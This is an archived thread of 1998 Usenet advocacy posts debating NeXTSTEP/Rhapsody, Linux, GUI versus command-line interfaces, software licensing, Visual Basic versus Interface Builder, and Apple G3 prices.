> fabourite system?
I don't think I made strong opinions or any opinions about its technology; I
only made strong opinions about its license agreement (which I don't think
has changed recently) and Steve Jobs' programming philosophy.
And I don't do a full review for a few simple reasons I think you'll
respect:
* There is pretty massive list of things I wanna read on computers alone.
I wanna learn Java thoroughly, learn effective RISC assembly, study RISC
gateways and chip design, learn more relational database programming in
things like FoxPro, ect ect ect... Learning NS, which is something I
really doubt I'd be using soon anyway isn't high on my todo list.
* I don't have the time!
* I want an OS I can contribute to for my major one. I'll spare you the
usual speech about free software and OpenSource philosophy, but I want an
OpenSource OS...
* There's no way in hell I'm signing a nondisclosure agreement with Apple!
>> But it seems to me that it has the proprietary
>> software model (Mach or no Mach, BSD or no BSD) for its
>> OpenStep API,
> There are two separate issues that you're confusing.
> 1. anything based on the old UNIX is still subject to license
> fees. No way out at this point, although the market appears
> to be making those decisions much better than whomever is the UNIX
> licensor du jour.
I don't think the BSD code they're using is subject to anything... I'm
saying, regardless of BSD's good licensing...
> 2. The OpenStep API is an open specification. Anybody wishing to
> implement their own version of OpenStep has only to go to it and
> implement to the specifications. See the GNUStep project.
Open standard, yes... But the license agreement attached to NS's code is
proprietary... as in not OpenSource free software.
I've seen the GNUStep project, and even tried a devel release. It's a great
project.
>> and it has Steve Jobs' "everything should be done
>> in a GUI" philosophy. I simply disagree with both the proprietary
>> architecture, and the 100% GUI philosophies.
> Hmmmmm --- here's where we could have some interesting discussions.
> In my not very humble opinion, and as a UNIX hacker since 1975, I
> don't have a problem with the 100 percent GUI issue at all.
Frankly, I don't care what the NextStep folks do either. But _I_ don't want
to be stuck with an OS (not that NS in this condition currently) like MacOS,
where anything you do has to be done through a GUI.
I also don't want to see an NT-type situation where a server wastes 20mb of
memory on a GUI that isn't being used.
I want... an OS that's generally usable over a VT100... put simply.
> We could take this one off-line or start a completely new thread.
That's usually true for almost any message posted on these newsgroups... :)
> In my not very humble opinion, one of the major blocks to
> widespread acceptance of UNIX has been the refusal of the UNIX
> vendors to create a really good user-friendly UI that ordinary
> human beings can use.
Oh, I think you're way off! UNIX, IMO, is widespread ANYWAY, but I
attribute its lack of proliferation in areas like word processing and spread
sheets to a few things...
* X's widget problems. For Linux and other free unicies, Gnome will do
what CDE did for commercail Unix. www.gnome.org
* Microsoft's marketting
* The cost of Unix
Two of those are out of the way. Linux is proliferating like wild fire.
Think about it.
> The average UNIX UI basically presents you with a graphical terminal into
> which you type Shell commands. That's not a UI --- you're still demanding
> that the ordinary user know the name of the command and the parameters to
> the command, then beat them over the head when they make what the CLI deems
> to be an "error". That is simply not a recipe for mass-market acceptance of
> the product.
It's a great system! You type in what you want, it returns things. Sure,
there's a steep learning curve, but typing cp ~/blah ~/foobar/blah is a lot
faster than one of those mouse-dragging things.
Bash with standard utilities (sorry, (t)csh fans... I like your shell
tooo!! :) is a very speedy way of getting things done once you've learned,
and there's nothing wrong with that.
I am willing to accept the possibility that one doesn't fit all in
computers. Based on the "gimmie my mouse" attitude or your Joe Public Mac,
I think one OS really doesn't, and shouldn't try to fit all. But with
Linux, you can use the same base, and have distributions tailored for
different users. Sure, Red Hat isn't what it should be (my distrib) as far
as GUI configuration goes, but for some, it's better than vi and bash. For
me... the control panel is just relearning what's done faster in vi/bash for
me.
> There was a time when a 9600 Baud terminal was hot stuff.
You said you were a 70s Unix hacker? I'd expect something along the lines
of you talking about your when a 2400 baud acustic couplers just came out.
:)
> In fact there was a time when we were begging for 9600
> Baud terminals to get off the lousy 1200 Baud stinkers our
> employers had saddled us with.
> At that time, the notion of command-line interfaces made
> some kind of sense.
They still make sense.
> Now, we have enormously high-resolution full-colour devices
> with which we can take full advantage of the graphical aspects
> available.
You have! How many figures is your income!?
I have a dinky little normal SVGA with a 2mb card.
> The human (primate) visual system is evolved as
> an imaging device, so let's make our tools work with us instead
> of making us do the work. Applications like word processors,
> spreadsheets, drawing systems, painting systems --- and all those
> good things --- fit well with the way our visual system works.
Word processors? Beleive it or not, I prefer tex.
Spreadsheets? The work okay in character mode, but a GUI is better.
Drawing? Gotta go X! But ray-tracing is another story.
Ever read about learning styles? Go down to your local library, and you can
find a wealth of information how how different people learn and express
ideas. How and why they think.
One of the problems I have with the GUI is that, to this date, it's very
seldom been done right, and I don't think the kind of thinking put into
things like bash and tcsh ever went into any GUi!
Think about a GUI you can operate without having your hands leave the main
section of your keyboard (probably ` to ctrl)... HAH! It's hard enough to
find a GUI that lets you get away easily without a clumsy mouse much less
the keyboard!
Find a GUI that has filename completion... find a GUI that has the
well-thought-out productivity of a CLI. The closest one I've seen is Word
Perfect 6 for DOS, and that's just the closest. Why did that one do so
well? It's made to be used by BOTH newbies and users who used Word Perfect
before the mouse even was introduced to the PC!
> Given this situation, I can't make sense of the notion that to
> launch a WYSIWYG document layout system like, say, Frame, that
> you have to open a UNIX propellor-head-friendly GUI-based terminal
> application and when the C-Shell prompt appears, you type a UNIX
> command to start up Frame or any other GUI-based application.
> This isn't making any sense to me at all.
I'd like to see a nice free WYSIWYG word processor.
>> so in what sense can Rhapsody not comapare with a "real Unix"?
>> The license, for one. I know, I know: other Unicies aren't
>> OpenSource (aka Free) either. But when I think of my Unix, think free.
> When you say "My UNIX" I assume you mean Linux?
Sort of... I think of one that comes for about the cost of the media. :)
> Yes, I see. Your next sentence confirms that "free UNIX" is Linux. Well,
> yes, Linux is Free UNIX. Linux was built from the ground up in a clean-room
> environment to replicate the functionality of UNIX, such that people don't
> have to pay the outrageous licensing fees for "official" UNIX.
Linux isn't alone. Most folks will accept the readily d/l'able free Unix's
out there...
About clean-room environment... I don't know what the GNU studios are like,
but I don't think Linux Torvalds' dorm room is all that clean... <grin>
It's inspired by Minix, which is also free (I think)
> Linux is not really "free". You mention Red Hat below. You pay for Red
> Hat.
Correction:
There are really two builds of Red Hat, totally identical except one has
MetroX and Red Baron (maybe a couple other toys Red Hat didn't make). But
Red Hat itself, the d/l'able version, has all the extra toys like the
control panel, and it is free.
It's a common misconception.
> Granted, it's only $50.
A few hours on a T1 here.
> For that small amount of bucks, you're paying
> them to pre-configure the system (Samba, Apache, etc) so you don't have
> to do the work.
With Red Hat, you're also paying for the Control Panel and setup program.
> There's no such thing as "free" whether it's a Free
> Lunch or Free Software. I've downloaded megabytes of "free" software
> from the net, and I've paid for it in the time I have to spend
> making it work, or configuring it, or completely re-writing it,
> or whatever else needed to be done to make it work.
I've always been a big advocate of free software, but I now have adopted the
term OpenSource for reasons of legal and literal ambiguity.
Anyway, I hope you contributed your work for others to use! :)
> In the context of "free", many parameters are fungible.
OpenSource, if you will... Far more defined.
> But the one thing that isn't is the minutes of your life. So any time
> you're offered "free" software, or "free" anything else for that matter, ask
> how many irreplaceable minutes are you trading for the dollars you didn't
> spend.
You're implying that OpenSource software is somehow lesser quility than
proprietary software. I disagree: license agreements don't effect software
quility. Look at NT and look at Linux. Few would argue that NT makes a
better Internet server, and they'd be wrong anyway. <grin>
>> I also think of a system that is totally administered
>> from a CLI, with some PURELY OPTIONAL GUI configurations
>> (ie Red Hat Linux). Not visa versa.
> That's written vice versa, by the way.
Oh, excuse me...
> And in my once again not very humble opinion, the normal mode should be GUI,
> with CLI being the option of absolute last resort.
No no no... Think of the speed of use. Think of the VT100. Think of the
productivity lost to a GUI!!
>> I didn't know there was a product distributed objects.
> Well, in one sense, there really wasn't a distributed objects *product*
> per se. Distributed objects were in the class libraries --- part of the
> underlying system. You didn't call Next and order distributed objects
> as a separate package --- they were just there, and doing a fabulous
> job as well.
Okie dokie...
> I remember having one of my old Sun friends come over to
> visit once and I asked him to sit down while I created an App on one
> NextStep system that had buttons, and and App on my other NextStep
> system that would respond to the buttons being pushed on the other
> system.
> When you pushed the buttons on on system, the App on the other system
> would display messages. Simple demo, I know, but not bad for about
> twenty
> minutes development time. Being both former Sun (SunTools, SunView,
> XView
> ad nauseam) developers, we both understood that such a project on Sun
> development toolkits would likely take longer to develop than the
> mean time between changes of strategies and toolkits.
That's Sun for ya....
>> What I'm referring to is IPC, possibly network IPC, where
>> two programs use the same objects. It, in many cases, is
>> far better than streams.
> Ken, IPC is an underlying mechanism on top of which things like
> distributed objects can be implemented.
Yeah... Put simply, it's an abstraction... it takes away all that pickling
work and such.
> IPC is very very very
> low level indeed --- it's the next layer over raw sockets, really.
Depends on how you look at it. Kernel-level IPC, yes. But from a
C programmer's perspective, it's just what it is:
inter-process-communication....
> On top of IPC, you could (and people did) build RPC (remote procedure
> call). On top of IPC, Next built distributed objects.
> That's enough for now --- I've run out of steam [and patience]
> on all the FUD in this group.
Yeah... well... c-ya l8er
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody vs. VisualBasic
Date: 2 Apr 1998 07:00:58 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6i6dta.j6l.sal@panix3.panix.com>
References: <35215529.2E181E25@slip.net> <6ft2b6$f9q$2@ns3.vrx.net> <35231189.6394@stetson.edu>
Xcanpos: shelf.01/199804141001!0037362951
On Wed, 01 Apr 1998 23:18:17 -0500, Michael Branton <mbranton@stetson.edu> wrote:
>Maury Markowitz wrote:
>> In <35215529.2E181E25@slip.net> Sivan Mozes claimed:
>> > I understand the interface bulider is a great idea. But doen't VB do the
>> same
>> > thing on Windows?
>> Nope. IB talks to the "basic" foundation classes, VB talks to, well, VB.
>not to mention you have to write your code, in, uh..., VB.
Someone could argue the differences between the VB/Delphi/CPPB
Property/Events/Methods paradigm and the IB+YB+PB Model/Controller/View
paradigm for hours, discussing every little subtle difference to the
point of exhaustion. That person could talk up a storm on the different
ways to connect to a database and the strengths and weaknesses of each
way.
Well, at least *I* could. Rather than do that, I'll sum up. (Without
any flames to basic)
VB's database access is rather primitive when compared to EOF. EOF is
a tool for building a model of the buisness logic, and connecting that
to your App. It is like adding Erwin to VB and having it be part of
the design tools. As you describe your database, you magicaly build
Objects that you can use to manipulate your database. No one else
comes close.
Also, the VB runs in a virtual machine like system, *over* windows
rather than IB+YB code, that is "the system" Imagine that rather
than VBRUN*.DLL, VB could build and manipulate windows objects
directly. And rather than use the widgets in COMCTL32.OCX, it
used the widgets in USER32.exe. That is what apps done in IB do.
VB's GUI builder is not as nice as IB. IB builds GUIs without code.
VB builds a resource script (the .frm file) that is then compiled
to build code. IB builds the actual object, no code, no compiling. The
Apps control they way the look, the size of the windows, the placement
and all the other things they need at Run time. Under VB, this info is
in the .frm file and hard coded at compile time. This is why VB apps
built at 640*480 look odd at 1024*768 and why apps built by developers
at 1024*768 don't fit on machines running at 640*480.
Hope this helps.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 2 Apr 1998 07:03:27 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6i6e1v.j6l.sal@panix3.panix.com>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <350ce48e.0@maser.urz.unibas.ch> <6eirc9$54j$4@ns3.vrx.net> <350D7C4F.D69@convex.hp.com> <6ejfi1$jst$3@ns3.vrx.net> <350DCA12.2722@convex.hp.com> <slrn6grv2b.hto.sal@panix3.panix.com> <350E4078.D8B6B744@nstar.net> <slrn6gt9te.r9f.sal@panix3.panix.com> <350EB950.2ABAE182@nstar.net> <slrn6hcab8.94c.mbkennel@lyapunov.ucsd.edu> <3517D44B.A05944BE@nstar.net> <slrn6hg6kg.kjn.sal@panix3.panix.com> <351824A0.3723@nstar.net> <slrn6hh8u3.57m.sal@panix3.panix.com> <3518B383.49A1D749@nstar.net> <slrn6hj304.e9k.sal@panix3.panix.com> <3519C41D.2B9F@nstar.net> <slrn6hnmtr.5p.sal@panix3.panix.com> <351BE06A.68849F9B@nstar.net> <slrn6ho882.mlr.sal@panix3.panix.com> <351d6202.0@nnrp1.news.uk.psi.net> <slrn6i2gsk.a5o.sal@panix3.panix.com> <6frnos$e4s$1@cronkite.cygnus.com> <3521DC87.5515B046@nstar.net>
Xcanpos: shelf.01/199804141001!0037506020
On Wed, 01 Apr 1998 06:19:51 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
>I don't insist that anybody use X Windows. I just like to use it for
>myself, and it would be nice if those with other systems could keep
>their uninformed mouths shut when it comes to sour grapes.
It would be nice if you practiced what you preached.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 2 Apr 1998 07:15:23 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6i6eob.j6l.sal@panix3.panix.com>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net>
Xcanpos: shelf.01/199804141001!0037590678
On Wed, 01 Apr 1998 20:34:04 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
>There was, of course, trying to get it to stop using NetInfo, so that it
Did you RTFM? This might even be in the NeXT FAQ, IIRC.
>There was trying to get NFS mounts set up automatically.
Did you read the man pages?
>Then there was lack of GUI configurability.
How so?
> I get used to a certain
>interactive style, and I want to move and raise/lower my NEXTSTEP
>windows that way.
Terminal.App can do that. IIRC, there is a way to extend this to the
whole of NS. Did you do a Dejanews search?
> No dice, the prefs aren't any help. No rc files to
>edit, nothing, really, to configure at all.
No rc files. Use the dwrite command.
>with left-handed scrollers
I agree that that sucks.
>and *NO* page up/page down keys.
So define them. Check out the "menu" section of Prefrences.App and set up
some other keys to do the same.
> Then there
>was the fact that moving from window to window required not only mouse
>movement, but a click, because
>I couldn't Alt-Tab and
Command-UpArrow, Command-DownArrow?
>Then there was WindowServer configuration. I find I don't like the
>MegaPixel on the left, I want it on the right. Go to Prefs, click
>through a GUI wizard, change the Prefs. Restart?! What the f*** is this
>restart bullshit?
Does X even let you config two monitors of different color depths as
a large virtual screen? And how often do you change monitor positions?
> This box takes ten minutes to boot!
Linux/Metro-X on my P90 took about 6 minutes from power on to XDM logon.
>I even thought about doing some development, but hell, I can't afford
>that.
Yeah, $5k for a dev kit is way out of reach for a student hacker. No
argument here.
It's $250 now. And you don't need to buy Black hardware anymore. A P90
with 32mb of ram is just fine. Don't skimp on the video card.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: 2 Apr 1998 07:21:51 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6i6f4f.j6l.sal@panix3.panix.com>
References: <slrn6hid19.2bd.sal@panix3.panix.com> <B14406C9-42E38@158.152.49.144> <slrn6i2i39.a5o.sal@panix3.panix.com> <6ft630$kkr$1@nnrp1.dejanews.com>
Xcanpos: shelf.01/199804141001!0038008268
On Wed, 01 Apr 1998 04:51:54 -0600, ianb@well.com <ianb@well.com> wrote:
>Well of course as it turns out it's not $500with the lowest cost all in one at
>$1299.
The Apple store lists a g3-233 desktop for $1699. You can get a street price
of $1550 or less. This is *without* a monitor. The AIO is $1499 with a
monitor *and* it has the same expandibility. Add $300 for a monitor and the
DT-233 is $500 more for the same specs.
>I disagree - expansion is a hugely important plus for many users, and the all
>in ones don't have enough expansion capabilities to satisfy them.
The AIO has the same expansion. Apple should kill the Desktop 233 and lower
the prices on the other Desktops. The DT266 should be at $1699 with an AV
card in order to make it competitive with the AIO.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer,comp.sys.newton.misc
Subject: Re: accuracy of Stepwise Krishna article
Date: 31 Mar 1998 16:34:54 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6fr5ve$iq0$1@anvil.BLaCKSMITH.com>
References: <6eoo28$c1p$1@crib.bevc.blacksburg.va.us> <6fg4o9$ke4$1@ns3.vrx.net> <6fgqd6$6l5$1@crib.bevc.blacksburg.va.us> <6fh1i8$t5t$2@news.xmission.com> <6fj0gd$8j9$1@crib.bevc.blacksburg.va.us> <6fp94c$of2$1@news.xmission.com> <35203B88.18F42221@milestonerdl.com>
Xcanpos: shelf.01/199804131401!0010358842
M Rassbach <mark@milestonerdl.com> wrote:
> Don Yacktman wrote:
>> The good thing is the _way_ that Apple is dropping the feature--they are
[ ... ]
> So why can't Apple do this for the Newton? Having access to the source
> would at least allow the Newton community to fix bugs...like the -10061
> problem.
I'd hate to overlook the obvious:
have you talked to Apple about letting the Newton source become available
(even under some sort of licensing), so interested parties could continue to
work on and improve the software?
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: Thu, 02 Apr 1998 07:51:05 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35234369.8CB74DE3@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <slrn6i6eob.j6l.sal@panix3.panix.com>
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Salvatore Denaro wrote:
> On Wed, 01 Apr 1998 20:34:04 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
> >There was, of course, trying to get it to stop using NetInfo, so that it
> Did you RTFM? This might even be in the NeXT FAQ, IIRC.
Which manual? I read the FAQ, but didn't see anything about this in
there.
> >There was trying to get NFS mounts set up automatically.
>
> Did you read the man pages?
*Really* wish I had had them. Three people in this newsgroup separately
offered, in private email, to ship the man pages to me. It's my own
fault that I didn't complete the arrangements, so I don't hold the NeXT
community at fault for this.
> >Then there was lack of GUI configurability.
>
> How so?
Read on, Sal. Post after reading the whole communique, please?
> > I get used to a certain
> >interactive style, and I want to move and raise/lower my NEXTSTEP
> >windows that way.
>
> Terminal.App can do that. IIRC, there is a way to extend this to the
> whole of NS. Did you do a Dejanews search?
Yes, I did. Nothing of value turned up. Can you recommend a search
criteria?
> > No dice, the prefs aren't any help. No rc files to
> >edit, nothing, really, to configure at all.
>
> No rc files. Use the dwrite command.
I don't know anything about this command. I posted these problems as an
explanation of what didn't "Just Work". Do you remember that discussion,
Sal?
> >with left-handed scrollers
>
> I agree that that sucks.
I do acknowledge the arguments that have been put forth on the behalf of
left-handed scrollers. My mention of this was really an underhanded jab,
and I admit it was probably inappropriate.
> >and *NO* page up/page down keys.
>
> So define them. Check out the "menu" section of Prefrences.App and set up
> some other keys to do the same.
I have no idea what you mean. I don't have Preferences.app in front of
me, and can't, so I can't comment. I looked through preferences pretty
well when I had them, so I don't really know what to say at this point.
> >I couldn't Alt-Tab and
>
> Command-UpArrow, Command-DownArrow?
D'oh! Wish I'd known that trick.
> Does X even let you config two monitors of different color depths as
> a large virtual screen? And how often do you change monitor positions?
In a word, yes. Even the commercial Linux servers offer this as an
option. X11R6.4 (released within the last couple of days) allows
multi-heading natively, but only between homogenous screens (same
depth). But multiheading wasn't the point, of course.
> > This box takes ten minutes to boot!
>
> Linux/Metro-X on my P90 took about 6 minutes from power on to XDM logon.
So who cares? Restarting the X server is the only thing one needs to do
to reconfigure display settings in X Windows.
> It's $250 now. And you don't need to buy Black hardware anymore. A P90
> with 32mb of ram is just fine. Don't skimp on the video card.
Good advice. But if you remember, the previous poster was discussion
NEXTSTEP on native hardware. That's the only experience I have, so I
limited my discussion to that.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: Thu, 02 Apr 1998 07:57:25 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <352344E5.EA6F75C2@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com> <35233969.E1E5BBD@nstar.net>
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Michael J. Peck wrote:
> No offense taken, but you were a whole lot of help. Maybe I should look
> for the *other* helpful NeXT community.
This isn't fair to the numerous people who privately emailed me with
helpful advice, including mmalcolm and Jonathan Hendry. I apologize on
their behalf for this comment.
MJP
Date: Wed, 01 Apr 1998 11:30:08 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Message-ID: <joe.ragosta-0104981130090001@wil31.dol.net>
References: <slrn6hh1pq.gj.sal@panix3.panix.com> <B144054B-3D452@158.152.49.144> <slrn6i2hnn.a5o.sal@panix3.panix.com> <rmcassid-3103981339550001@dante.eng.uci.edu>
Xcanpos: shelf.01/199804132201!0010541668
In article <rmcassid-3103981339550001@dante.eng.uci.edu>, rmcassid@uci.edu
wrote:
> In article <slrn6i2hnn.a5o.sal@panix3.panix.com>, sal@panix3.panix.com
> (Salvatore Denaro) wrote:
>
> >On 29 Mar 98 14:03:40 +0100, Ian Betteridge <ianb@well.com> wrote:
> >>On Wed, Mar 25, 1998 5:25 am, Salvatore Denaro
> >><mailto:sal@panix3.panix.com> wrote:
> >>>If Apple ships a $995 machine with a g3, 32mb or ram, 4GB of HD, an AV
> >>>card, CD and ZIP with a 17" Trintron monitor; I'll eat a MacOS CD-ROM.
> >
> >The AIO was announced today. It looks like the cost is more than $995
>
> And it only has a 15" but at 1024x768. Anyone notice it has ATI Rage Pro?
Actually, that's misleading. It has a 15.1" viewable area--which makes it
a "16 inch monitor" by industry definitions.
> Even better video than the desktop G3. Ouch. Chuck in another ATI card
> ($250 or so) and a 17" montior and for ~$2250 you could get a nice G3 dual
> monitor set-up for authoring, etc. Much better than the old AIO units that
> wouldn't allow a second monitor hook-up.
>
> Speculation time again:
>
> It would appear that there is still a sub $1K machine on the close
> horizon, at least. The AIO at $995 would've sold like wild, I think. Even
> at $1399 (rumored) it should sell quite well to consumers and education.
> Watch for the 233 and maybe 266 G3 to go away. Faster 750 chips should
> fill in at the higher price points and the 300MHz G3 price should fall.
> Overall, the prices will stay the same or go up slightly, but the speeds
> (and possibly margins) will increase nicely. Not needing a MB redesign is
> a great improvement for Apple - well done. AIO takes over at the mid-range
> replacing the 4400, 5500, and 6500s. A low-end machine for k-12 should
> still be coming - shouldn't need more than a 13" monitor at 8x6 though. It
> may not be available for consumers. Maybe as the 233 chips keep dropping
> in price and the AIOs get speed-bumped later this year we'll see them. The
> AIO would appear to use almost exactly the same MB as the G3 so it too
> could get speed-bumped without a redesign like the G3 boxes. Same BTO as
> well.
>
> It's about damn time Apple got this figured out.
Agreed.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 12:53:57 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6g01p5$ed9$1@news.cs.tu-berlin.de>
References: <199801202218001457904@ppp8.hol.fr> <slrn6e47gt.75j.jstevens@samoyed.ftc.nrcs.usda.gov> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6t
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Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> writes:
[I wrote]
>> Proprietary. Hmmm... Actually, one of the really nice surprise I
>> got when I finally received the NextStep developer documentation
>> about 7 years ago was how the entire system is based on non-proprietary
>> standards. NeXT just took many existing components and integrated them
>> into a coherent whole.
>Well, yeah OpenStep is a non-proprietary standard... But I mean software
>license wise... Basicly by that, I mean: it's not OpenSource. There are a
>lot of folks who aren't bothered by that (and I'm not horribly bothered by
>it either...), but I would like to point out that a Microsoft monopoly
>couldn't form on OpenSource software.
What I was talking about was the NeXT, from the very beginning, used
existing standards instead of rolling their own.
[Mach/UNIX + Objective-C]
>Objective C isn't my favorite, although I never really learned it...
>Here are my thoughts on the subject: I really don't wanna waste my time on
>some C++ vs OC war.
Neither do I. The point wasn't wether Objective-C is good or bad, but
that they picked a language that existed at the time. What's more, they
picked a language that is a very *simple* sub-set of plain C.
>> All the data-types are based on industry-standard file formats. For
>> images, they used Aldus (now Adobe) TIFF. For text, Microsoft RTF.
>RTF is fine, but Microsoft word processing formats like Word are anything
>but open.
RTF is a Microsoft standard. Again, NeXT picked something that was
available, even if it came from the evil empire.
>> For pictures, Adobe's EPS format, which can be supported better than
>> on most platforms because of the built in DPS.
>I'm advocating PNG myself...
PNG is just a bitmap format (roughly equivalent to, but simpler than
TIFF), EPS is for vectors + bitmaps + text. That said, filter
services let the system treat just about any format (incl. PNG)
just like a native data type.
>> They then wrapped this stuff with the AppKit, an OO layer so good
>> that even now, 10 YEARS (!) later it still is so far ahead of the
>> pack that it isn't even funny.
>Tell more... What do you like about it? Any disadvantages?
>> Because these standard data-types are built into the AppKit, all
>> applications use them, allowing them to interoperate extremely
>> well not only with each other but with the rest of the world.
>I dunno... I don't know enough about AppKit to say, but honestly, I think
>you should take a look at some of the stuff OS/2 does!
[Terminal.app]
>Yeah, you have a character mode interface.
Two, actually.
>But can you really administer everything in your NS box from it?
Yes. No exceptions.
>I mean Steve Jobs' philosophy that everything should be done in a GUI. Look
>at the Mac. My fear would be, if I were an NS user, that Apple's
>integration would put even more into the GUI and even less in the CLI.
It's the other way around: NextStep had some features which could *only*
be configured from the *CLI*. Apple is changing things so people *can*
administer everything from the GUI. They aren't *removing* any CLI
configurability (and with the UNIX base, that would be difficult to
do anyhow). Think about it: Steve Jobs started Next *after* the Mac.
If you're going to use his existing projects as indication of his
attitudes, you should take the most recent one, which is OpenStep.
Which is UNIX and has a CLI.
>> Again, you are confusing a couple of things. CORBA is not a language.
>But you're wrong! It is a language, AND a protocal! Research this! I
>assure you, it's a language...
>> It is the Common Object Request Broker Architecture.
^^^^^^^^^^^^ CORBA!
CORBA *includes* an Interface Definition Language (IDL). But the
language is not CORBA. In fact, you can communicate via an ORB
without ever touching the IDL, which is only needed for static
base languages. Objective-C, for example, would let you work
without the IDL, discovering interfaces/objects on-the-fly and
integrating them as they come.
>Anyway, that's my beef with Sal. For him, it means flaming me in virtually
>every post I make. For me, it meant kill-listing to prevent myself from
>doing just that. Now I de-kill-listed him, and I just don't take him
>seriously anymore..
I don't know what that was about, but I suspect that if you manage to
keep your posts to the tone you're currently at, and keep in mind that
quite a few of the people posting in c.s.n.* are very knowledgeable
(a lot more than myself), then you will find that you get much more
reasonable responses.
[description of DO]
>I'm very familiar with distributed objects, as my last project I was working
>on used DCOM extensivly.
DCOM is nothing like the Next/Apple distributed objects system. Trust
me.
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: Aaron R Kulkis <akulkis@be1151.pd3.ford.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
Subject: Re: When will Unix be free?
Date: Thu, 02 Apr 1998 09:06:09 -0500
Organization: Ford Motor Company
Message-ID: <35239B51.2D38@be1151.pd3.ford.com>
References: <xohen0roj2o.fsf_-_@dux.raex.com> <6fr8s6$59j$1@interport.net> <ehg4da6wa.fsf_-_@gate.lustig.com> <6B6FFF7C80027804.D8A9C54CA33BADC9.4EB0E9D843E54B64@library-proxy.airnews.net> <6fut5f$115$1@jetsam.uits.indiana.edu> <352304A2.2427@i2020.net>
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Xcanpos: shelf.01/199804141801!0021343846
Curtis Bass wrote:
>
> Gregory Loren Hansen wrote:
>
> -- snip --
>
> > I know, someone is bound to pipe up and say Linux isn't a Unix because it
> > doesn't have the right pedigree. But it looks like a Unix, walks like a
> > Unix, quacks like a Unix, and it's widely supported for a Unix, and it's
> > free.
And it compiles+runs Unix sources w/o modification....
>
> Well, the real reason it can't be called UNIX is simply because the Open
> Group has the rights to the UNIX name, and *they* decide what is and
> isn't UNIX. Even FreeBSD (which is a direct decendant of Berkely BSD
> 4.x UNIX) cannot be called "UNIX" for this reason.
>
> As far as I'm concerned, if it can run SCO binaries (which Linux can),
Natively, too, without any sort of emulation....
> it's pretty much UNIX, even if we can't *call* it UNIX.
>
> Curtis
--
Aaron R. Kulkis
Unix Systems Administrator
